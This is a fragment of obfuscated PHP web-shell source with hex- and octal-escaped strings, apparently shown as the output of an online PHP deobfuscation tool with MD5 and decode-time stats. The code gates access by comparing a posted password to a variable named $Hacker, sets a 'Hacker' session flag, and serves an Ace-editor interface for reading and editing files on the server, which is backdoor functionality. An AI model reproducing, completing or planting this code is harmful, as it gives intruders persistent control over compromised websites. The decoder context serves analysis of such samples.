"\166\141\x72\x20\144\151\162\x20\75\40\x22" . $file . "\x22\54\40\141\x63\145\x4e\141\x6d\x65\x20\75\40\42" . $fileName . "\42\x2c\x20\x61\143\x65\106\151\154\x65\124\x79\x70\x65\40\x3d\x20\42" . typeAceFile($fileName) . "\42\54\40\x61\143\145\x52\x65\141\x64\40\x3d\40" . $canRead . "\x2c\40\x61\x63\x65\x44\141\x74\x61\x20\x3d\x20\x22" . $content . "\x22\73"; die(str_replace("\x7c\123\105\124\x54\111\x4e\107\x7c", $setting, str_replace("\x7c\123\103\x52\111\x50\x54\174", getContent($script), str_replace("\174\123\124\131\114\x45\174", getContent($style), getContent($index))))); } } } } else { $setting = "\166\x61\162\x20\x64\151\162\x20\75\40\42\42\73"; die(str_replace("\x7c\123\x45\x54\x54\x49\x4e\x47\174", $setting, str_replace("\174\x53\103\122\111\x50\x54\x7c", getContent($script), str_replace("\x7c\123\124\x59\x4c\x45\174", getContent($style), getContent($index))))); } } else { if (isset($_POST["\x6c\x6f\x67\x69\x6e"])) { $login = $_POST["\x6c\x6f\147\x69\156"]; if ($login == $Hacker) { $_SESSION["\x48\x61\x63\153\145\x72"] = $Hacker; $result["\x73\x75\143\x63\145\x73\163"] = true; } else { $result["\163\165\143\143\145\163\x73"] = false; $result["\155\163\x67"] = "\x57\x72\x6f\156\147\x20\120\141\163\163\x77\x6f\162\x64\x21"; } header("\103\x6f\156\164\145\x6e\x74\55\124\171\160\145\x3a\x20\x61\x70\160\154\151\x63\x61\164\x69\157\156\57\152\163\x6f\156\73\x20\143\x68\141\x72\163\145\x74\x3d\x75\x74\x66\x2d\x38"); die(json_encode($result)); } else { $setting = "\166\141\162\x20\144\151\162\x20\x3d\x20\x22\x22\73"; die(str_replace("\x7c\123\x45\x54\124\x49\x4e\x47\174", $setting, str_replace("\174\x53\103\x52\111\120\124\174", getContent($script), str_replace("\174\x53\x54\131\114\105\174", getContent($style), getContent($index))))); } } }
?>
Function Calls
None |
Stats
MD5 | 7519fc7dbc18bd02397f53bbeb70ee73 |
Eval Count | 0 |
Decode Time | 112 ms |